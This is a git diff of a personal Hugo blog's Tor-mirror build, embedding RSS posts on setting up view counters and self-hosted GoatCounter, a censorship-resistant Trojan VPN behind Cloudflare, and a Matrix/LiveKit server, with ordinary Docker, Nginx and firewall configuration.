    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/debugging/index.xml b/public-onion/tags/debugging/index.xml new file mode 100644 index 0000000..73fa7f7 --- /dev/null +++ b/public-onion/tags/debugging/index.xml @@ -0,0 +1,896 @@ + + + + Debugging on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/debugging/ + Recent content in Debugging on AlipourIm journeys + Hugo -- 0.146.0 + en + Sat, 18 Oct 2025 10:45:00 +0000 + + + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix. + I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    +
    + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
